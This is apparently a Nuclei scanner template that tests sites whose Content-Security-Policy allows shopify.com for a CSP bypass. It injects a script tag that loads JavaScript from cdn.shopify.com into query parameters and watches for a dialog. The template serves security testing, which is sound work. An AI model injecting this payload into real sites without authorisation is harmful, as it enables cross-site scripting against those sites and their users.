id: shopify-cdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - Shopify CDN
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,shopify-cdn,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "shopify.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: shopify_cdn_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://cdn.shopify.com/s/files/1/0714/7936/1848/files/a.js"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "shopify_cdn_csp_xss == true"
# digest: 4b0a00483046022100d3cbcdbb1de365cc5631ddc3a412e8f566eb158a022356310bc74934e4cfacce022100d43d9174bba9fa6d978d6c9c589e5a7c3b9aa80a8ac4b44dcd048191f6b0d1b7:922c64590222798bb761d5b6d8e72950